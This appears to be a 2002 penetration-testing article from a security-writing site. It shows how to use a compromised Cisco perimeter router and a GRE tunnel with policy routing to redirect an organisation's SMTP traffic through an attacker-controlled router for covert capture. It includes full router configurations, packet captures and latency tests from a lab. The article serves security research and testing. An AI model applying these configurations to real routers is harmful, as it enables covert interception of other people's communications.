Cyber Security Expo
 
Using a Compromised Router to Capture Network Traffic by David Taylor on 07/09/02

Table of Contents

  • 1. Introduction
                                                                                                 
  • 2. Approach   
                                                                                                    
  • 3. Methodology                                                                                               
        • 3.1      Equipment                                                                                        
        • 3.2      Establish a GRE Tunnel                                                                        
        • 3.3      Scenario 1 Policy Routing                                                                     
        • 3.4      Scenario 1 Unix Workstation Setup                                                         
        • 3.5      Scenario 2 Policy Routing                                                                  
        • 3.6      Scenario 2 Unix Workstation Setup                                                        
        • 3.7      Define Traffic to Capture                                                                 
        • 3.8      Policy Routing on Target Router    
                                                                 
  • 4. Results                                                                                                    
        • 4.1      Scenario 1                                                                                       
        • 4.2      Scenario 2      
                                                                                           
  • 5. Conclusions and Discussion                                                                          
        • 5.1      Transparency                                                                                   
        • 5.2      Latency Considerations                                                                      
        • 5.3      Further Decoding of Traffic                                                                 
        • 5.4      Availability      
                                                                                           
  • 6. Appendices                                                                                               
        • 6.1      Appendix A – Target Router Configuration                                              
        • 6.2      Appendix B – Attacker Router Configuration Scenario 1                             
        • 6.3      Appendix C – Attacker Router Configuration Scenario 2                            
        • 6.4      Appendix D – Scenario 1 Traffic Capture                                                
        • 6.5      Appendix E – Scenario 2 Traffic Capture                                                
        • 6.6      Appendix F – Latency Testing                                                              
           

1. Introduction

This document details the approach, methodology and results of recent experimentation into the use of a captured perimeter router as a tool for network traffic capture.

In penetration testing scenarios it is often possible to compromise the perimeter router of an organisation.  The routers are outside the corporate firewall and often poorly protected.  In some cases the captured router may be useful as a launch point for further attack on the target network, but to be truly valuable it is desirable to use this captured router to sniff network traffic to and from the organisation.

A technique to do this using GRE tunnels and policy routing was first published by Gauis in the Phrack #56 article “Things to do in Cisco Land when you are dead”.  (http://www.phrack.com/show.php?p=56&a=10).  Gauis’ technique involved establishing a GRE tunnel from the captured router to a Linux machine using proof-of-concept software built from modified tcpdump code.

Joshua Wright used a variation on this technique in his paper: “Red Team Assessment of Parliament Hill Firewall” for SANS GCIH practical assessment.  (http://www.giac.org/practical/Joshua_Wright_GCIH.zip).  Joshua terminated the GRE tunnel on a second Cisco router, but only managed to capture traffic in one direction: outbound from the organisation.

In this experiment Joshua’s approach was extended, again using a second Cisco router to terminate the GRE tunnel, but transparently capturing traffic to and from the organisation.  One of the primary motivating factors for the development of this technique was to minimise the need for customised software and components.

Special thanks go to Darren Pedley (Darren.Pedley@alphawest6.com.au) for his assistance with router configs and sanity checking throughout the experiment.


2. Approach

The approach chosen, was to establish a GRE tunnel between the captured router (“Target router”) and a second router that is under the control of the attacker (“Attacker router”).  Policy routing was then used to redirect ingress and egress traffic for the organisation to the attacker router via the GRE tunnel.  The traffic was then ‘handled’ by the attacker router before being returned to the target router for final delivery (again via the GRE tunnel).

Two handling scenarios were tested.  In the first, the captured traffic was merely ‘reflected’ by the attacker router back down the GRE tunnel, as shown in Figure 1.  This method had the advantage of simplicity in the router configuration, but introduced the following issues:

  • In order to capture the traffic it is necessary to ‘sniff’ the external interface of the attacker router.  This would be somewhat difficult for non-ethernet network media.
  • Captured network traffic is GRE encapsulated.  It would be necessary to decapsulate this traffic before an IP decode could be performed.


Figure 1 – Scenario 1. I

In the second handling scenario, the attacker router was configured to pass the captured traffic by a Unix workstation before sending it back to the target router.  This is shown in Figure 2.  This scenario overcomes the two previous disadvantages:

  • The external network media on the attacker router is arbitrary.
  • The traffic forwarded via the Unix workstation has already been decapsulated, and requires less processing to extract useful information.



Figure 2 – Scenario 2


3. Methodology

The diagram in Figure 3 shows the network topology that was used in this experiment. 



Figure 3 – Test Lab Topology

3.1 Equipment
The target router used was a dual Ethernet Cisco 3600.  The attacker router was a dual Ethernet Cisco 2600.  This methodology would be equally applicable to any Cisco IOS router.  It may be applicable to other routers that support GRE and policy routing.

The mail server was a Linux laptop.  The network sniffer was a Solaris workstation.  The choice of these devices was arbitrary.

3.2 Establish a GRE Tunnel
The first step, following basic IP configuration of the routers, is to establish a GRE tunnel between the target router and the attacker router.  In a real-world implementation of this methodology, the target router must first be compromised to the point that it can be remotely configured.  Methods for compromise of this device are beyond the scope of this document.

On the target router:

Target#conf t
Target(config)#int tunnel0
Target(config-if)#ip address 192.168.5.1 255.255.255.0
Target(config-if)#tunnel source eth0/1
Target(config-if)#tunnel dest 192.168.1.2
Target(config-if)#tunnel mode gre ip
Target(config-if)#exit
Target(config)#exit
Target#

A tunnel interface called tunnel0 is created.  It is assigned a local (virtual) IP address of 192.168.5.1.  The external Ethernet interface of the router is defined as the local tunnel endpoint, and the attacker router external IP address is defined as the remote tunnel endpoint.

The equivalent commands are entered on the attacker router.

On the attacker router:

Attacker#conf t
Attacker(config)#int tunnel0
Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
Attacker(config-if)#tunnel source eth0/1
Attacker(config-if)#tunnel dest 192.168.1.1
Attacker(config-if)#tunnel mode gre ip
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

At this point, the GRE tunnel has been established between the two routers.  Regardless of how many hops may exist between the routers over the Internet, the GRE tunnel is now considered a single hop.

3.3 Scenario 1 Policy Routing
For scenarion 1 (see Figure 1), we establish policy routing on attacker router tunnel0 interface to ‘reflect’ traffic arriving on the GRE tunnel.

On the attacker router:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map reflect
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map reflect
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

The access-list 100 matches all IP traffic.  The route map selects all traffic that matches access-list 100 (all traffic) and sends it to 192.168.5.1, which is the target router end of the GRE tunnel.  This route map is applied to the tunnel0 interface.

The result of this is that all traffic arriving on the tunnel0 interface of the attacker router will be forwarded back out that interface (the tunnel) to the target router.

3.4 Scenario 1 Unix Workstation Setup
In scenario 1, the attacker Unix workstation was placed outside the external interface of the attacker router.  In this instance, the IP configuration of the Unix workstation is arbitrary, as the workstation only needs to passively capture the network traffic.

3.5 Scenario 2 Policy Routing
In the second scenario we establish policy routing on attacker router tunnel interface and internal Ethernet interface to ‘reflect’ traffic arriving from GRE tunnel, via the Unix workstation on the internal Ethernet interface.

On the attacker router:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map send-traffic-in
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.3.2
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map send-traffic-in
Attacker(config-if)#exit
Attacker(config)#route-map send-traffic-out
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int eth0/0
Attacker(config-if)#ip policy route-map send-traffic-out
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

The send-traffic-in route map is applied to the tunnel0 interface.  It forwards all traffic arriving from the tunnel to the Unix workstation primary Ethernet address (192.168.3.2).  The workstation routes this traffic back to the attacker router (192.168.4.1) through default routing.

The send-traffic-out route map is applied to the internal Ethernet interface on the attacker router.  It forwards all traffic from the workstation back out the GRE tunnel to the target router.

3.6 Scenario 2 Unix Workstation Setup
The Unix workstation in scenario 2 is configured as follows:
Primary IP address:           192.168.3.2
Secondary IP address:       192.168.4.2

This secondary address is a virtual address on the same physical network interface.
Default route:                  192.168.4.1

3.7 Define Traffic to Capture
Next, it is necessary to establish access lists for traffic to be captured on target router.
On the target router:
 
Target#conf t
Target(config)#access-list 101 permit tcp any any eq 25
Target(config)#access-list 101 permit tcp any eq 25 any
Target(config)#exit
Target#

 
This access-list matches all SMTP (25/tcp) traffic.  It is necessary to define rules to match incoming and outgoing packets as this access-list will be used in route maps for both interfaces of the target router.

3.8 Policy Routing on Target Router
Finally, we establish policy routing on the target router to send interesting  traffic via the GRE tunnel.
On the target router:
 
Target#conf t
Target(config)#route-map capture-traffic
Target(config-route-map)#match ip address 101
Target(config-route-map)#set ip next-hop 192.168.5.2
Target(config-route-map)#exit
Target(config)#int eth0
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#int eth1
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#exit
Target#

A route map is defined that matches traffic from access-list 101 (all SMTP traffic), and forwards this traffic to the attacker router over the GRE tunnel.  This route map is applied to both the inside and outside interfaces of the router. 

At this point all ingress and egress SMTP traffic through the router will be redirected to the attacker router via the GRE tunnel.  Traffic arriving at the captured router from the GRE tunnel (return traffic) is delivered according to standard routing.
 
Final configurations for the target router may be found in Appendix A.  The final configurations for Scenario 1 and 2 on the attacker router may be found in Appendices B and C respectively.


4. Results

In both scenarios SMTP connections were diverted via the GRE tunnel and successfully captured by the Unix workstation.

4.1 Scenario 1
The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the first scenario:

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799

Packet 1 shows the TCP SYN packet from the client to the mail server.
Packets 2 and 3 show this SYN being sent from the target router to the attacker router and back again.
After packet 3, the SYN is delivered to the mail server: this is not shown.  The mail server responds to this with a SYN/ACK: this is not shown.
Packets 4 and 5 show the SYN/ACK traversing the GRE tunnel.
Packet 6 shows the SYN/ACK being returned to the mail client.
Packet 7 shows the ACK packet (final packet in three way handshake) from the client to the mail server.
Packets 8 and 9 show this ACK traversing the GRE tunnel.
After packet 9, the ACK is delivered to the mail server, the session is established, and the SMTP connection continues.

A more complete transcript of this capture, along with a protocol decode for packet 2 may be found in Appendix D.

4.2 Scenario 2
The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the second scenario:

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712

Packet 1 and 2 show the TCP SYN packet from the client to the mail server.  This (and all) traffic is duplicated since the captured traffic is routed in and out of the same interface on the Unix workstation.
Packets 3 and 4 show the SYN/ACK from the mail server to the client.
Packets 5 and 6 show the ACK from the client to the mail server (final part of three way handshake).

A more complete transcript of this capture may be found in Appendix E.


5 Conclusions and Discussion

5.1 Transparency
This method of interception is almost completely transparent to the end users of the system (see the following section on latency).  Standard traceroute utilities will not show the extra hops incurred by the GRE redirection, since traceroute traffic is not selected for policy routing.
It would be possible, but somewhat difficult, to write a TCP-based traceroute utility using port 25 connections and increasing TTL values in order to discover the additional hop/s incurred.

Of course, examination of the target router configuration would easily lead to discovery.

5.2 Latency Considerations
The process of redirecting the traffic via the attacker router will introduce additional latency on the captured traffic.  This increase in latency may be represented as:
2n + m
Where n is the time taken for traffic to move across the Internet from the target router to the attacker router, and m is the time delay incurred by the attacker router (and Unix workstation) in handling this traffic.
The value of m was found to be in the order of 10ms in lab conditions – see Appendix F for details.
Where n is likely to be large, this technique should be restricted to non-time-critical traffic such as SMTP, DNS zone transfers and the like.

5.3 Further Decoding of Traffic
The extraction of useful data from the captured traffic is left as an exercise to the reader.  Standard Unix utilities such as strings, and od may be handy for this.

5.4 Availability
Where this technique is used in real-world circumstances, it should be noted that the attacker router (and the Unix workstation in scenario 2) become single points of failure in the communications path.  If either of these devices were to become unavailable, the traffic selected by the access list in section 3.7 would not be delivered.


6. Appendices

6.1 Appendix A – Target Router Configuration
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Target
!
no logging console
!
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.1 255.255.255.0
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.2
!
interface Ethernet0/0
 ip address 192.168.2.1 255.255.255.0
 ip policy route-map capture-traffic
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.1 255.255.255.0
 ip policy route-map capture-traffic
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 101 permit tcp any any eq smtp
access-list 101 permit tcp any eq smtp any
no cdp run
route-map capture-traffic permit 10
 match ip address 101
 set ip next-hop 192.168.5.2
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 login
!
end

6.2 Appendix B – Attacker Router Configuration Scenario 1
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.2 255.255.255.0
 ip policy route-map reflect
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.1
!
interface Ethernet0/0
 ip address 192.168.3.1 255.255.255.0
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.2 255.255.255.0
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map reflect permit 10
 match ip address 100
 set ip next-hop 192.168.5.1
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 no login
!
end

6.3 Appendix C – Attacker Router Configuration Scenario 2
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.2 255.255.255.0
 ip policy route-map send-traffic-in
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.1
!
interface Ethernet0/0
 ip address 192.168.4.1 255.255.255.0 secondary
 ip address 192.168.3.1 255.255.255.0
 ip policy route-map send-traffic-out
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.2 255.255.255.0
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map send-traffic-out permit 10
 match ip address 100
 set ip next-hop 192.168.5.1
!
route-map send-traffic-in permit 10
 match ip address 100
 set ip next-hop 192.168.3.2
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 no login
!
end

6.4 Appendix D – Scenario 1 Traffic Capture
  1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
  2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
  3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
  4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
  5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
  6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
  7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
  8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
  9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
 10  40.09693  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826
 11   0.00142  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800
 12   0.00063  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 220 localhost.locald
 13   0.13864  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
 14   0.00185  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827
 15   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801
 
 82   2.18601  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 q
 83   0.00211  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850
 84   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824
 85   0.03858  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851
 86   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825
 87   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
 88   0.18110  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 u
 89   0.00186  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852
 90   0.00136  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826
 91   0.00271  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853
 92   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827
 93   0.00059  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
 94   0.05429  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 i
 95   0.00191  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854
 96   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828
 97   0.00269  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855
 98   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829
 99   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
100   0.16402  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 t
101   0.00207  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856
102   0.00139  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830
103   0.00270  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857
104   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831
105   0.00052  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
106   0.22869  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
107   0.00197  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858
108   0.00137  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832
109   0.00304  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859
110   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833
111   0.00012  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860
112   0.00055  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
113   0.00093  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834
114   0.00058  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 221 2.0.0 localhost.
115   0.00067  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861
116   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835
117   0.00049  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
118   0.00025  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
119   0.00044  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
120   0.00172  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862
121   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836
122   0.00007  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863
123   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837
124   0.00255  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864
125   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838
126   0.00054  192.168.2.2 -> 192.168.1.3  SMTP R port=1617

A snoop decode of a GRE packet is shown below:
 
ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 2 arrived at 12:38:37.06
ETHER:  Packet size = 86 bytes
ETHER:  Destination = 0:d0:ba:fe:30:e1,
ETHER:  Source      = 0:e0:1e:7e:a0:c2,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 72 bytes
IP:   Identification = 823
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 47 ()
IP:   Header checksum = 34fc
IP:   Source address = 192.168.1.1, 192.168.1.1
IP:   Destination address = 192.168.1.2, 192.168.1.2
IP:   No options
IP:

A hex decode of the same GRE packet is shown below:

0000000 736e 6f6f 7000 0000 0000 0002 0000 0004
0000020 0000 0056 0000 0056 0000 0070 0000 0000
0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0
0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f
0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500
0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8
0000140 0202 0651 0019 99d0 26a4 0000 0000 7002
0000160 4000 f86a 0000 0204 0534 0101 0402 0000

6.5 Appendix E – Scenario 2 Traffic Capture
  1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
  2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
  3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
  4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
  5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
  6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
  7  40.09285  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
  8   0.00016  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
  9   0.16606  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 10   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 
 59   1.62586  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
 60   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
 61   0.04199  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 62   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 63   0.14919  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
 64   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
 65   0.00574  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 66   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 67   0.08556  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
 68   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
 69   0.00570  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 70   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 71   0.12386  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
 72   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
 73   0.00577  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 74   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 75   0.80846  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 76   0.00011  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 77   0.00613  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 78   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 79   0.00216  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
 80   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
 81   0.00220  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 82   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 83   0.00670  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 84   0.00008  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 85   0.00169  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 86   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
 87   0.00645  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
 88   0.00008  192.168.2.2 -> 192.168.1.3  SMTP R port=1712

6.6 Appendix F – Latency Testing
Latency incurred by the additional handling of traffic was examined.  ICMP ping was used in the lab to test this from the client machine on the Internet.

Without redirection/capture…

C:\>ping 192.168.2.2
 
Pinging 192.168.2.2 with 32 bytes of data:
 
Reply from 192.168.2.2: bytes=32 time=10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
 
Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum =  10ms, Average =  2ms
 
C:\>ping -l 1000 192.168.2.2
 
Pinging 192.168.2.2 with 1000 bytes of data:
 
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
 
Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum =  0ms, Average =  0ms
 
C:\>

With redirection/capture…

C:\>ping 192.168.2.2
 
Pinging 192.168.2.2 with 32 bytes of data:
 
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
 
Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 10ms, Maximum =  10ms, Average =  10ms
 
C:\>ping -l 1000 192.168.2.2
 
Pinging 192.168.2.2 with 1000 bytes of data:
 
Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
 
Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 20ms, Maximum =  31ms, Average =  22ms
 
C:\>

Rate this article

All images, content & text (unless other ownership applies) are © copyrighted 2000 -  , Infosecwriters.com. All rights reserved. Comments are property of the respective posters.